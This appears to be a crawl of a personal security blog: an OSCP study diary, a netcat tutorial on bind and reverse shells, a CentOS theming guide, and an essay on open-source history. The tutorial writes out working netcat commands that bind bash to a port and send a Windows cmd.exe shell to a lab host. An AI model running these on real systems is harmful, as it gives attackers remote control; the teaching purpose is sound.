__label__cc	0.65979	0.34021	NetTx OSCP Diary 3 January 7, 2017 Thomas I didn’t intend on taking so much time in between posts, but with work, Christmas and the OSCP I have been swamped! So sitrep: Progress has been slow and steady, maybe a little slower than I would have liked…in fact definitely slower than I would have liked. So my main issue has been myself.. I am arrogant, I procrastinate a lot and I am a weak! So let me explain each in turn; I am arrogant. Coming into the OSCP, I was telling myself, how hard can this be, you’ve been in this game for a few years now, you have lots of Linux experience, you have used most and if not all of these tools before. This should be a formality. Well it turns out it isn’t a formality, yes I have been in this game before, but never on the attacking side, sure I’ve done the vulnhub stuff, the uni classes and even a little bit of dabbling in the real world, but this is different, it isn’t just about knowing how to use the tools or following tutorials. This requires you to sit down and plan and conduct the tools like a conductor conducts an orchestra. This is about knowing what to use when, about what steps to take first, about developing a repeatable but dynamic process. This is hard….way harder than it sounds, I think the only way to really learn this is via time, practice and effort. While we are on the subject of effort, let’s move on to my next failing; procrastination. All too often have I got up and told myself today I will spend the entire day on this..and sometimes I do. But that also involves picking up my phone to check Facebook, stopping to make tea, going on youtube etc etc. This wastes lots of time. I need to stop this. My next failing is weakness….I will admit it, I have had the “I can’t do this” moment(s), it has hit me and it has hit me hard. I will be working on a box, I will be following an attack vector all is well, I’m in full on Neo from the matrix mode…then boom. Brickwall….I get stuck and I cannot get any further. This has happened to me a few times now. But…a few days ago I hit a milestone, I pwned not 1..but 2 boxes. Sure they were exploiting the same vulnerability, but the joy of getting a shell on those boxes with a custom exploit was good! I had my first “I CAN DO THIS!” moment, from these I have had a number of small victories, finding the odd thing here and there, I am beginning to feel like I am making progress. Right that is enough for today, I’m not sure exactly when my next post will be but I will try make it sooner than this one took me! kali linuxLinuxNetwork SecurityOSCPSecurity OSCP Diary Day 1 Welcome to my OSCP diary, somewhere for me to brain dump my thoughts as I work my way through the Penetration Testing with Kali Linux (PWK) course and then take the Offensive Security Certified Professional (OSCP) Exam. The PWK/OSCP are under strict NDA so I will not be going into details here, I will be very general and very vague. So if you are looking for PWK tutorials and howtos, then you have come to the wrong place. After weeks of waiting I finally got my OSCP lab access last night at 0000 Hours, as the bell tolled midnight the email that I had not patiently waited for was finally delivered. The plan was wait up until midnight, get the email download all the stuff that I needed to get onto the labs, all the course materials etc. etc. then go to bed get a solid 7 hours sleep and be ready to spend Sunday pwning n00bs and popping shells! So that was the plan, the reality however was somewhat more chaotic. Like a schoolboy at Christmas I have been getting a lot little hyped up over the last few days counting down the minutes to 0000 on my lab access day, thus I was already a little sleep deprived when I waited up to receive my email. So the email comes in and I feel the rush of adrenalin surge though me (well about as much as a rush as you can get from receiving an email after a 20 hour day), and off I go dutifully downloading all the stuff I needed. So I finished getting all the stuff and headed off to bed and sleep for a solid 7 hours….no I’m just kidding. I thought to myself, “ahh well I may as well configure everything just now so I’m ready to go in the morning.”, so off I go configuring all the things, getting everything just so. It is now around 0100 everything is downloaded, everything is configured, all I need to do now is get some shut eye. “But maybe I should just have a wee tincy wincy look at what I have in store for me”….so I open the course materials, pop on the forums, check out the IRC…it’s now 0200. My mindset has now changed, I’m now thinking “well I’ve went this far I may as well get on the labs and have a look”…3 hours later it 0500 and I’ve just sat up all night, excited scanning all the things! At this stage tiredness gets the better of me and I decide to call it a night (well technically morning). So to bed I go 3 and bit hours later I’m awake again it is now 0830 and I am feeling compelled to get back in the labs. So to the labs I go…now it may be the sleep deprivation, it may be the excessive amount espressos I’ve consumed or it could be a combination of both, but I could not focus on any one thing. I must have wasted hours jumping around from one thing to another. I went from going rouge and jumping ahead of the game hitting random boxes to deciding to slow down and methodically just work my way though things from beginning to end. In the end it now approaching 1800 I need to get things ready for the day job tomorrow (who I owe a big thank you to for putting me though the OSCP!), and I need to step away for a bit let everything from last 18 hours sink in. The two take aways from day 1 are: 1: Sleep (it is a requirement unfortunately) 2: Plan ahead and prepare your day. (this will save a lot of time later on!) Now roll on day 2 (of 90). Meaningful time in labs: 6 Hours kali linuxLinuxNetwork SecurityOffensive-SecurityOSCPPWKSecurity What are Bind and Reverse Shells? October 23, 2016 Thomas I wanted to make a very short and simple post about shells…when starting out in pen testing you will hear a lot of chatter about shells, so this post hopes to clear up some of the terminology involved. Now I guess that since you are reading this you’re already familiar with what a shell is. If not have a look here What I wanted to cover was bind shells and reverse shells…and what exactly the differences are. To do this we are going to run through a short exercise using the classic Netcat. What you will need for this exercise are two machines on the same network segment, both with a copy of Netcat on them. They can be any combination of Linux or Windows (or something more exotic and/or $expensive = Macs). For this exercise I spun up a couple of VMs, one Kali Linux box and one Windows Server 2012 box. Netcat is included on Linux distros that come with Nmap as standard or can be downloaded from most standard Linux repos, for Windows you can pull the nc.exe from the web Netcat is a simple (but powerful) command line tool that has become something of legend in the networking and security worlds, put simply Netcat can throw up listening TCP and UDP ports very quickly, it can unsurprisingly enough also connect to TCP and UDP ports just as easily. Netcat comes into its own however with its power to read and write bits to and from these connections, this allows Netcat to perform a vast array of functions. For more have a look at the Netcat main page. It is Netcat’s ability to read and write to layer 4 connections and streams that allows us to create the shells. This is done by redirecting the 3 shell I/O streams, stdin, stdout and stderr over the layer 4 connections. The nuances of what is a bind shell and what is a reverse shell are dictated by the client server paradigm. Okay, demo time, so either play along at home or just put your feet up and watch. Read Our two boxes are Wendy the Windows box (192.168.1.80) and Lynn the Linux box (192.168.1.78). So we will start with a bind shell, this is really quite simple, a bind shell is called a bind shell because it binds a shell to a listening TCP port. For example; Lynn the Linux box wants to bind its bash shall to a listening port, the following command can be used to do this; Lynn nc -nlvp nc 9874 -e /bin/bash Let’s break that command down, nc is the Netcat binary, -nlvp: numeric (no dns names), listening, verbose and port, with 9874 as the option, this being the port that will be set to listen. The -e points to a file to be executed after the connection is established, in this instance that file is /bin/bash, our shell. Now when a connection is established on Lynn (192.168.1.78:9874), the bash shell will fire up and proceed to redirect it’s I/O streams across the connection. So if we connect to it from another box we can access Lynn’s shell, lets do this from Wendy; Wendy nc -nv 192.168.1.78 9874 And that’s it…it’s that simple, we now have control over an instance of bash running on Lynn from Wendy. From Wendy we can issue commands and see the output of them. The reason this is known as a bind shell is because the shell is bound to the listening port, but what if we want to access Wendy’s Shell from Lynn while still maintaining the same Client/Server paradigm? Well thankfully this is just as easy, what we are about to do is known as a reverse shell. First, as before we will set up a listening TCP port on Lynn, this time however we are not going to bind a shell to the listening port. Lynn nc -nlvp nc 9874 Now on Wendy we are going to connect to Lynn’s listening port of 9874, this time however we are going to attach the Wendy’s cmd.exe shell to the client end of the conversation. Wendy nc -nv 192.168.1.78 9874 -e cmd.exe We now have access to Wendy’s shell on Lynn. There are a number of different reasons why we might choose between bind and reverse shells, the main one as far as pen testing goes is basic evasion, connections could be allowed in one direction but denied in the other, if Wendy and Lynn were on two separate network segments with a firewall in the middle for example, the firewall may allow outbound connections, but deny inbound connections. In the example above Lynn acted as the server and Wendy as the client, but this paradigm can be reversed with the exact same results for both bind and reverse shells, simply setting Wendy to listen instead of Lynn bind shellcomputer networkingkali linuxLinuxmetasploitnetcatNetwork Securitypenetration testingreverse shellSecurityTCPTCP/IP Suitewindows Answering the question, no one asked… August 9, 2016 Thomas Leave a comment I have to be honest I do love myself a pocket reference guide. Even with the internet’s vast resources there is something about holding an old school, analogue, physical copy of a book that is pleasing in a way that searching the internet just isn’t. The strange thing is that despite their name, I’ve never actually carried one of these books around in my pocket, this lead me to assume that they didn’t fit in real pockets…. Can't beat a good pocket reference…even if they are too big for your pocket. @OReillyMedia @OReillySecurity pic.twitter.com/0DDQ1t5GEG — NetTx (@NetTx_Security) 8 August 2016 Well as it turns out, predictably and obviously I was wrong…. Correction: Turns out @OReillyMedia 's pocket references actually do fit in my pocket.#Python #infosecurity pic.twitter.com/ZVLOAzp1jR I can't believe I missed an opportunity to use the #Trousersnake #hashtag on this! computer networkingLinuxNetwork SecurityPowerShellSecurityunixwindows Spending my day off like….#tryingHarder #infosecurity #pentesting #hacking #infosec #oscp pic.twitter.com/egLNBsYQRF — NetTx (@NetTx_Security) August 2, 2016 LinuxNetwork SecuritynetworkingOSCPSecurity Automatically gather IPv4 Threat Intelligence July 12, 2016 Thomas Leave a comment To paraphrase Sun Tzu “Know your enemy as you know yourself”. Yes I know this is used in security ad nauseam and I profusely apologise for rolling out this tired old cliché, but as is often true, within the cliché lies the truth, and Sun Tzus famous quote is no different. Collecting threat intelligence on the enemy (or possible enemy) and feeding it into your tool set can help you watch and protect against interactions with online addresses that could pose a threat to your environment. There are a number of online resources that provide this intelligence for free, but collecting it and formatting it into a .CSV file ready for direct import into your tools file can be cumbersome if it is not automated. Tools such as SIEM’s can take lists of IPv4 addresses directly from a .CSV file and use them to test rules against or build reports on. Example use cases are amongst others; IP reputation lists to flag up whenever your environment attempts to interact with IP’s with a poor reputation, IP’s known to host Malware, known c2 servers or any interaction with a TOR exit node. To this end I have written a Python script, that will automatically grab the latest threat intel from a few sites. The script is pretty straight forward and can be easily edited to grab lists of IPv4 addresses from whatever site you want. The tor exit node list updates quite often, it is probably better to schedule a cron job to automatically update that list, I will post a dedicated script for this and any other use cases that spring to mind in the future, as well as PowerShell scripts for Windows users that do not want to install Python. Couple of notes on these scripts: The Linux script runs on Python 2.7 as this is the version most commonly pre-installed on Linux distros. The linux script uses raw_input instead of input as input contains an eval function hiding behind it which may lead to a possible code injection vulnerabilities when used in python 2.7. The Windows script uses Python 3 as most windows users will need to manually install Python and it makes sense for them to use the most recent version. The Windows script uses input as Python 3 does not have the same code injection vulnerability risk Linux, Python 2.7 script. GitHub. Windows, Python 3 script. GitHub IPv4LinuxNetwork SecurityPythonscriptsSecurityThreat Intelligencewindows General, Linux, Tutorial, Uncategorized How to make Linux look good June 16, 2015 Thomas Leave a comment I’ve been using the copyright free Redhat clone CentOS 7 with the Gnome desktop for a while now. It has proved to be an excellent distro for experimenting with all kinds of enterprise services and packages. Over the last 9 months I have created a full virtual network running a number of instances of CentOS that have been stripped down to the terminal to reduce the attack surface and make better use of the limited resources my laptop gives me. Each of the VM’s has had at least one service, or more running on it, I’ve had a 389 directory server, DNS and a Dovecot/Squirrelmail/postfix email server amongst other things all running simultaneously on an entirely KVM platform. CentOS isn’t just an excellent server platform it is also an excellent workstation and day to day distro, my CentOS laptop has taken over my Debian PC as my main device. In terms of practicality, CentOS is an absolute masterpiece, in terms of looks however, it doesn’t look so great if you’re going to use it as your main operating system. One thing that bugged me was the default Gnome theme and settings, personally I found them to be quite ugly and clunky. I persevered with them for a number of months, mainly because I was so busy with proper server configuration geekery that I didn’t have time to mess about with something that only affected aesthetics. One day however, in desperate need for something to procrastinate with I decided to make my CentOS desktop environment a little prettier. This is straightforward guide (I’m no graphics designer or user interface expert) but it should prove helpful nonetheless, especially to get a baseline desktop environment that you can tweak to your heart’s content! Additionally there a few troubleshooting tips for issues I encountered along the way. Step 1: Download and install CentOS 7 (I used full x86_64 with Gnome shell 3.8.4). The default theme will look as follows, practical…but kinda ugly. Step 2: Once CentOS is installed and updated, it is time to start configuring. There are a ton of themes available for Gnome, the theme I used was the Zukitwo theme which I downloaded from GNOME-look.org. Step 3: Download the following packages from the CentOS repositories. These packages will allow for simple installation of shell extensions direct from the firefox browser and the tweak tool will allow us to install themes and tweak Gnome. # sudo yum install gnome-shell-extension-common.noarch # sudo yum install gnome-tweak-tool.noarch Step 4: Icon packs can be downloaded to give the icons a nicer look. Numix have created a number of themes and icon packs, I used the free Numix Circle Pack. Once this is done move them to /usr/share/icons. Step 5: In your home folder create a hidden directory (if one doesn’t already exist) called themes. Remember to start the directory name with a dot. Once this is done move the zipped theme from the download location into this. For example; # mkdir /home/thomas/.themes/ # mv /home/thomas/Downloads/140562-Zukitwo.zip /home/thomas/.themes/ Step 6: Next up open the tweak tool we installed earlier, select the ‘shell extensions’ from the left pane. On this screen there a number of switches, find the one that says ‘User themes’ and make sure it is on. Step 6.1: Staying in the tweak tool select ‘Theme’ from the left pane, then from the ‘Shell theme’ menu select the themes zipped directory from the ~/.theme directory. Some people will recommend that you unzip the theme first, personally I didn’t and I haven’t had any issue installing directly from the .zip. Step 6.2: Finally from the ‘Icon Theme’ option select the icon pack (Numix in my case) from the drop down menu. Step 7: This is where we encounter our first issue, the CentOS icon in the upper left of the screen is too large. This is a small and easy to fix issue, but it took me a while and much googling to figure it out. Step 7.1: To fix this we need to edit the gnome-shell.css file, which can be found in the themes zip directory at /home/thomas/Downloads/140562-Zukitwo.zip. Step 7.2: Now there are a number of ways to edit this file, but the simplest way is to browse directly to it in the file manager, and open the zip directory with archive manager. Step 7.3: In archive manager search for ‘gnome-shell.css’ then click it to open it with your default text editor, in my case this is gedit. Step 7.4: to find the bit of css code we are looking to edit press ctrl + f and search for ‘.panel-logo-icon’ if this code exists edit it to read as follows, if it does not exist simply add the code to the bottom of file. (make use to use the correct parentheses{}) .panel-logo-icon { padding-right: .4em; icon-size: 1em; Step 7.5: While in here there a number of things that can be tweaked, it is worth googling around to see what can be done. Some ideas include making the top panel transparent or fiddling around with the colour schemes. The usual precautions should be taken when editing anything, document what you are doing and make backups before changing anything. Step 8: The bar along the bottom of the desktop is called the window list, personally I find it quite clunky. There are a number of ways to remove it, it can be removed using extensions (more on them later), or simply by selecting the correct session at login. This can be done by selecting the cog icon next to the sign in button on the logon page. Step 9: Once windows list has been removed it may be difficult to move around windows, one solution is to use the minumum windows list extension that will place a drop down menu in the top panel with the window list in it. The other is to install a dock. Step 10: The dock I used was Cairo Dock, a beautiful and functional dock that can be highly customised. CentOS does not have Cairo Dock in its standard repositories, but it is simple enough to download the RPM from here and install with yum from the local file. Step 10.1: As said in the previous step Cairo Dock is highly customisable, there are too many options to go over here. But the Cairo Dock website has handy guide on how to configure startup options here and appearance and behaviour options here. Step 11. Gnome supports shell extensions, self contained configurations which modify and tweak Gnome. There a couple of ways of installing these extentions via the extensions.gnome.org website. Open with firefox and the extensions package we installed at the start of this tutorial will allow for simple extension configuration. These extensions can also be toggled on and off in the tweak tool. Some the extensions I used are the quit button, and the minimised windows list. Step 12: Now that Gnome is fully configured all that remains is to change the wallpaper to one that suits your style, this can be done simply by right clicking the desktop and selecting change wallpaper. The wallpaper I used in this tutorial can be found here. CentOSGnomeLinuxred hat linuxTutorial General, History, Linux, Protocols, Security, UNIX, Windows A Brief History of Proprietary and Open Source Software Definition of Proprietary Software The word ‘proprietary’ is defined by Oxford Dictionaries as “Relating to an owner or ownership” (Oxforddictionaries.com, 2014). In a 2004 (updated in 2005) report on the definition of proprietary software The Linux Information Project (LINFO) explained that proprietary software “is software that is owned by an individual or a company (usually the one that developed it). There are almost always major restrictions on its use, and its source code is almost always kept secret.” (Linfo.org, 2014) The restrictions described by LINFO are what allow proprietary software to be used as commercial products. Companies that develop proprietary software or buy the Intellectual property to it, exert complete control over it; they maintain, update and fix bugs in house. Most software typically demands that end users or organisations agree to a Licence Agreement. For a proprietary product this is an electronic contract that usually prohibits the reselling, copying or profiteering from the software. In many cases the license only allows for the use of the software and not ownership. Licensing options for software can allow end users the use of proprietary components at no monetary charge; Adobe Flash being a common example of free to use proprietary software. (Adobe,2014) Licensing for proprietary software can be complex, especially when purchased for enterprise environments. Microsoft is an example of a software vendor that offers an array of complex licensing structures. (Microsoft, 2014) The number of instances allowed, time limits, limits on what physical location the software can be used in, who can and who cannot use it can all be tightly regulated by a proprietary software vendor. Definition of Open Source Software Open Source Software (OSS) is defined by the Open Source Initiative as; “software that can be freely used, changed, and shared (in modified or unmodified form) by anyone. Open source software is made by many people, and distributed under licenses that comply with the Open Source Definition.” This definition is a list of ten requirements that software must comply with to be considered open source. In addition to the characteristics already listed, the Open Source Definition also ensures that OSS does not discriminate to persons or groups, fields of endeavour and is technology neutral. (Opensource.org, 2014) The full list is as follows; 1.Free Redistribution: Non-restrictive licence. 2. Source Code: Must include source code. 3. Derived Works: Must allow derived works 4. Integrity of Author’s Source Code: May require derived works to change from original name. 5. No Discrimination Against Persons or Groups 6. No Discrimination Against Fields of Endeavour 7. Distribution of License: License must apply to everyone,, without the need of a further licence. 8. Licence Must Not be Specific to a Product: Licence must not be tied to a distribution. 9. License Must Not Restrict Other Software 10. License Must Be Technology-Neutral (Opensource.org, 2014) Andrew M.St. Laurent states in his book Understanding Open Source and Free Software Licensing that “The fundamental purpose of open source software licensing is to deny anybody the right to exclusively exploit a work” (St. Laurent, 2008), to this end there are a number of standard OSS licences that can be used when redistributing OSS. The most widely used OSS licence is the GNU General Public License (GPL) 2.0. (Blackducksoftware.com, 2014) The Open Source Initiative name the following licences as the main open source licences; Apache License 2.0 BSD 3-Clause “New” or “Revised” license BSD 2-Clause “Simplified” or “FreeBSD” license GNU General Public License (GPL) GNU Library or “Lesser” General Public License (LGPL) Mozilla Public License 2.0 Common Development and Distribution License The model of OSS used with licences such as the GNU GPL allow end users and organizations to forgo many of the complexities and costs involved with proprietary software. Additionally as the source code is public, any individual can; add features, improve stability, correct bugs and security flaws. For many enterprise level OSS there can be the option to pay for support. This provides support at a monetary cost, an example of this is Red Hats support model. (Red Hat, 2014) Additionally OSS generally has free support via the use of; documentation, IRC services, mailing lists and various other community driven support services. (Debian.org, 2014) History of UNIX and the Move to Open Source (GNU/Linux) In July 1974 Dennis M Ritchie and Ken Thompson of AT&T Bell Laboratories published a white paper describing an interactive, multi user, Operating System (OS) called The UNIX Time-sharing System (UNIX). (Ritchie and Thompson, 1974) UNIX was robust and versatile, it was portable so could be used on range of devices, programs could be written and ran on UNIX to carry out a vast array of tasks. Before UNIX most programs made use of punch cards that were used as the input for mainframe computers that would then decode them and execute the program. UNIX was a proprietary OS, but was developed with a spirit of openness, in 1979 Dennis Ritchie stated “What we wanted to preserve was not just a good environment in which to do programming, but a system around which a fellowship could form. We knew from experience that the essence of communal computing . . . (was) to encourage close communication.” (Ritchie, D. 1979) UNIX was licenced to a number of organisations who produced UNIX derivatives, one notable example was the University of California’s Berkeley Standard Distribution (BSD) which along with Bell Laboratories own System V became two of the main branches of UNIX variants. Commercialisation and Standardisation By the mid eighties UNIX had been fully commercialised and there were many vendors offering their own UNIX derivatives, each of them effectively being a unique proprietary system. (Unix.org, 2014) In 1984 a collection of vendors formed the X/Open consortium with an aim of creating a series of standards allowing a degree of interoperability between the proprietary UNIX derivatives. The formation of the X/Open consortium would lead to the publishing of The Single UNIX Specification (SUS) collection of standards. (Love, 2013) Incorporated into the SUS family of standards was the POSIX (Portable Operating System Interface uniX) standards. POSIX standardised a number of interfaces including Application Programming Interfaces (API), how shells interface with the UNIX kernel and various other OS Utilities. (Standards.ieee.org, 2014) (Unix.org, 2014) The SUS and POSIX standards laid out in the Institute of Electrical and Electronics Engineers (IEEE) standards along with the commercialisation of UNIX led to UNIX veering away from the spirit of openness that Denis Ritchie has spoken about in 1979. (Negus and Bresnahan, 2012) The ever increasing restrictiveness of UNIX variants and commercialisation of UNIX made UNIX OS’s less available. This contributed to the increased prominence of the free software community. Free software has been part of modern computing almost since its inception, technology was developed in advanced research and development laboratories run by organisations like Universities, Corporations and Governments. Although much of this technology, including computer hardware and software was developed under strict secrecy, a substantial portion of it was shared between academics and researchers. This allowed for a greater pool of minds to contribute to improving the hardware and software. (Ceruzzi, 2003) It was in this spirit that movements dedicated to allowing users and organizations to use, study and modify free software arose. By 1983 an individual called Richard Stallman had become a leading proponent of free software, on the 27th of September 1983 he announced the GNU Project. (Gnu.org, 2014) Richard Stallman states that the GNU Project is primarily a political project. (Stallman, R. 2008) Its political ideology is that all software should be free, the project set out to create a completely new OS free of any proprietary code or software. In 1984 the project began work on a Unix-like OS complete with “kernel, compilers, editors, text formatters, mail software, graphical interfaces, libraries, games and many other things” (Gnu.org, 2014) The building of an entirely new Unix-like OS proved to be a complex task. UNIX and Unix-like OS’s are modular by design. The GNU project set about replacing each of the components one by one. Along with a small number of already existing free components, for example the X windows system, the OS’s took shape. (DiBona, Ockman and Stone, 1999) By 1992 the GNU Project had replaced all major components of UNIX in the GNU OS apart from the kernel. The GNU project was developing a kernel called GNU Hurd. (Gnu.org, 2013) GNU Hurd was not a stable kernel due to it still being in development, in 1991 the Linux kernel was published on Usenet. Soon the Linux kernel would become the de-facto kernel for the GNU OS. (Gnu.org, 2014) Linus Torvalds was a computer science student at the University of Helsinki in 1991, as part of his studies he enrolled in a UNIX module. (Richardson, 1999) His participation on this module introduced Torvalds to UNIX, specifically the Digital Equipment Corporation’s (DEC) variant of UNIX called Ultrix. (Torvalds and Diamond, 2001) In order to continue his studies and to indulge his computer programing hobby at home, Torvalds purchased a PC and installed a Unix-like OS called Minux. Using Minux as its basis Torvalds began work on his own kernel, this kernel would later be named Linux. (Linuxfoundation.org, 2014) On the 26th of August 1991 Torvalds published a post on the comp.os.minux Usenet group announcing “I’m doing a (free) operating system (just a hobby, won’t be big and professional like gnu) . . . I’d like any feedback on things people like/dislike in minix . . . I’d like to know what features most people would want.” (Torvalds, L.B 1991) The kernel had been designed around the Intel 386 and utilised many features specific to that CPU, this lead Torvalds to believe that the kernel was not portable. But with assistance, ideas and code from the comp.os.minix community the kernel was developed to add portability and new features. (comp.os.minux, 1991) From September 1991 a number of iterations of Linux were released and in March 1994 Linux 1.0 was released. In the intervening time the Linux community had grown substantially and due to the incomplete nature of GNU Hurd, Linux has become the kernel of choice for the GNU OS. The Linux kernel allowed the GNU OS to be a full OS free of proprietary code thus fulfilling the original vision set out by the GNU Project. (Negus and Bresnahan, 2012) Torvalds distributed Linux under the GNU GPL, thus enabling individuals and groups to further develop Linux. The Linux kernel was used as the basis of many OS, each with their own unique configuration and bundled software packages, these would become known as distributions often referred to as distros. Due to the Linux only comprising the kernel and many of the overlaying software components being from GNU, many distributions are referred to as GNU/Linux. Today there are over six hundred Linux distributions. (Futurist.se, 2014) Linux is considered both free software and OSS. GNU consider the word free to be defined as “freedom”, thus allowing a user to have complete freedom over the software. For example Google’s Linux based Android OS has its source code open and is therefore OSS, but restricts users and developers to using certain components without being able to remove or modify them, therefore Android cannot be considered as free software, despite it being licenced under the Apache 2.0 software license. (Gnu.org, 2014) (Gilbertson, 2010) Debian Linux conversely explicitly sets out to meet the OSS definition. (Debian.org, 2015) Linus Torvalds embraced this subtle difference, he asserted that Open Source principles did not clash with commercialisation, in his keynote speech to the 2000 LinuxWorld Expo Torvalds stated “It is not the point of Linux to be uncommercial” (Theregister.co.uk, 2000) Commercialisation of Linux Support Due to the diversity of individuals and groups developing Linux a number of early distributions formed the platform for further distributions to be developed upon. Distributions such as Debian and Red Hat were two major platforms to form the basis for new distributions. The primary difference being the package management systems used by each distribution. (Packman.linux.is, 2014) A secondary difference was the target market, Debian was dedicated to providing a free OS with free software packages for all users, as a Unix-like OS it is versatile and configurable, and is one of the most used distributions for the Apache web server. (Debian.org, 2014) Red Hat Linux was developed for enterprise environments. (Redhat.com, 2014) Red Hat Linux’s developers; Red Hat, pioneered the support model for OSS. Founded in 1993 the business steadily grew, in 1999 Red Hat floated on the New York Stock Exchange and set an all-time record for a technology IPO. (Redhat.com, 2014) In 2012 Red Hat became the first Linux based company break the Billion US dollar mark for annual earnings. (Vaughan-Nichols, 2012) By 2014 they had diversified the range of products and services they offered including their flagship Red Hat Enterprise Linux (RHEL), an enterprise level OS that comes in a number of varieties and configurations for both servers and clients. Red Hat support large scale enterprise networks, one of the software packages they support is Red Hat Directory Server (RHDS), a directory database that makes use of Lightweight Directory Access Protocol (LDAP) to provide authentication, access control and other management features. (Redhat.com, 2014) Although Red Hat is open source it does protect its software via the use of the Red Hat trademark, this restricts redistribution of Red Hat Products. (Redhat.com, 2014) Despite this and due to its open source nature there are many Open Source and free alternatives to Red Hats enterprise level software. For example the Fedora and CentOS distributions are both forked from red hat, and RHDS is used as the basis for 389 Directory Server. (Fedora, 2014) Red Hat recorded revenue of 1,534.615 Billion US dollars in 2014. (Sec.gov, 2014) These stats make Red Hat the most successful Linux based company, but they are not the only company that offer Linux based software for free with a support and certification model, Canonical and Novell have also experienced success with similar business models. This support model in now over 20 years old, Peter Levine a lecturer at both MIT and Stanford argues that the support model is outdated, he points out that Red Hat’s success is dwarfed by that of proprietary rival Microsoft whose revenue in 2014 was 86.83 Billion US dollars. (Microsoft.com, 2014) Levine argues that lack of investment, forking development and even the fact that the code is open is holding back the Open Source community from competing with major corporations such as Microsoft. (TechCrunch, 2014) Commercialisation of Linux as a Service Support is not the only way that Linux has been commercialised, many organisations including some the biggest name in the technology sector use Linux as the backbone to both their internal and external infrastructure. Major corporations contribute to the Linux kernels, Microsoft who have products in market that are in direct competition with Linux added 1% of the code in 2012. Dozens of other organisations are also on the list of contributors, The Linux foundation estimated in 2012 that 75% of contributors were being paid for their work. (The Linux Foundation, 2012) The code Microsoft added to the kernel was driver software enabling Linux OS’s to have increased performance when used in Microsoft’s virtualisation products. (microsoft, 2014) As the support business model for commercialising Linux plateaued, virtualisation was a leading technology in allowing a new business model to evolve; Linux as a Service. In 2007 Red Hat announced a new version of RHEL that allowed individuals and corporations to rent servers by the hour. The servers were not physical servers but virtual servers held in a remote location, colloquially known as cloud computing. The OS for the servers could be from a range of vendors, and included proprietary serves such as Windows Server, UNIX and Linux servers, in the majority of cases they are installed on hardware running a Linux based hypervisor. (Judge, P. 2007) This service was a joint enterprise with Amazon and formed the basis for Amazon Elastic Compute Cloud (Amazon EC2), and is now the world’s largest cloud service provider. (Darrow and Darrow, 2014) Amazon are not alone in offering Linux based cloud services, many of their competitors offer similar services such as Infrastructure, Platform and Software as a Service (collectively known as XaaS), IBM, HP Google are just a few of examples. OpenStack is the defacto standard cloud platform for enterprise environments with hundreds of companies using it worldwide. OpenStack is an OSS stack that allows the deployment of service based technologies. The OpenStack project is maintained by the OpenStack Foundation which includes over 200 corporations such as AT&T, Red hat and Canonical. (Openstack.org, 2014) The 2014 OpenStack survey clearly demonstrated that Linux based technologies are dominating the XaaS sector; KVM and Xen are the most widely used hypervisors on OpenStack. Open vSwitch and Linux bridge are the most used network drivers. 95% of organisations are using OpenStack to deploy Linux desktop OS’s as Platform as a Service (PaaS), with 40% deploying Ubuntu, 26% CentOS and 14% RHEL. Various other distributions make up the rest. Microsoft Windows only accounted for 5% of the organisations surveyed. (OpenStack, 2014) Linux is not only the dominant platform for XaaS, Linux based technologies are used for a wide variety computing solutions. According to the Linux Foundation “Linux powers 98% of the world’s supercomputers, most of the servers powering the Internet, the majority of financial trades worldwide and tens of millions of Android mobile phones and consumer devices.” (Linuxfoundation.org, 2014) Proprietary Network Technologies Proprietary software (PS) designed for enterprise scale networking is available for all major server platforms. UNIX, Windows and Linux all have PS packages to carry out networking tasks. This software can range from PS packages that either standalone products or part of a package of products that are included as part of a server OS platform. Additionally proprietary hardware can have a proprietary OS with a mix of OSS and PS installed on it. One example of this is Cisco’s router and switch products, which run the Cisco IOS OS, and supports a range of open and proprietary protocols and protocol extensions. (Cisco, 2014) Microsoft as an Example One of the largest vendors of proprietary server software is Microsoft, who in 2013 saw their revenue from their Server and Tools division grow by 9% compared to the year before, to US$20,281,000,000. (Tanner Helland, 2013)(Microsoft, 2014) In 1993 Microsoft released Windows NT 3.1 Advanced Server (Theregister.co.uk, 2014), this product was Microsoft’s first server branded operating system released by Microsoft, and the first to use NT, which semi-officially stands for ‘New Technology’. NT would go on to form the basis for all of Microsoft’s client and server OS’s. At the heart of NT was a monolithic kernel that allowed Windows to be platform independent and which enabled software and hardware portability. (Zachary, 1994) Microsoft began producing new variants and iterations of their server OS’s, as time went on new features and proprietary versions of general network software was included; in 1994 Windows NT 3.5 Advanced Server Microsoft included an implementation of DNS called Microsoft DNS (Richter, 1995), and a web server called Internet Information Services (IIS) was included as an option in version 3.51. (Microsoft, 1997) In 1999 Microsoft released Windows 2000, Windows 2000 had a number of server branded variants, that included software packages Routing and Remote Access Services (RRAS), IPSec support, and a directory service called Active Directory (AD). (Technet.microsoft.com, 2014) AD is an enterprise level directory service that is one of the key components in a Windows Domain. Every Windows Server fulfilling the role of a Domain Controller (DC) has an up to date copy of the AD database. AD provided central administration, authentication for what it calls objects. Objects can be device accounts, users accounts and groups. As with Microsoft’s other products AD has evolved, new features and functions have been added, for example in Windows Server 2008 added the functionality to have Read-Only Domain Controllers (RODC), a RODC only holds a read only copy of the Active Directory database, this is designed to be used in locations where security may not be optimal. (Minasi, 2010) In Windows Server 2012 the ability to clone Domain Controllers and rapidly deploy virtual Domain Controllers, each with a copy of the AD database, was added. (Mackin and Thomas, 2014) AD employs platform independent standards and open source technologies. LDAP, is an application layer protocol that allows AD to add and retrieve information from its directory. For authentication Microsoft extended the authentication protocol Kerberos. Microsoft’s extension to Kerberos was published as a memo by the Internet Engineering Task Force in Request for Comment (RFC) 4757. (IETF, 2014) Vendor Lock-In Microsoft pursues what is known as a Vendor or Proprietary Lock-In strategy. This is achieved by producing a large amount of proprietary software, internet browser plugins, file types, Application Programming Interfaces, extensions and protocols. As a result of this Microsoft has a rich and diverse eco-system of enterprise products that are designed to work seamlessly with one another that in many cases are difficult or impossible to be used in a non-Microsoft environment. (Le Concurrentialiste, 2014) In a 1997 memo to Bill Gates that was published in the 2002 European Commission report on Microsoft’s business practices, Microsoft’s C++ general manager Aaron Contorer, praised the Windows API and how it had helped to lock in independent software developers into using Microsoft products despite “our mistakes, our buggy drivers, our high TCO, our lack of a sexy vision at times, and many other difficulties” he concluded his memo with “In short, without this exclusive franchise called the Windows API, we would have been dead a long time ago.” (Michael Parsons, 2004) Microsoft are not alone in employing a lock-in strategy, many vendors of PS and services use a similar model to lock customers into their range of products. Cisco switches and routers support a range of networking protocols, many of them open standards, on top of these open standards Cisco also offer a range of proprietary protocols and protocol extensions that are only interoperable with other Cisco devices. In some cases proprietary protocols are interoperable with Cisco hardware running a specified preceding OS version. In order to deploy the proprietary protocol a customer may need to update the OS version on their hardware or if the hardware does not support the required OS version they may need to upgrade the hardware itself. Example is being the Dynamic Trunking Protocol (DTP) 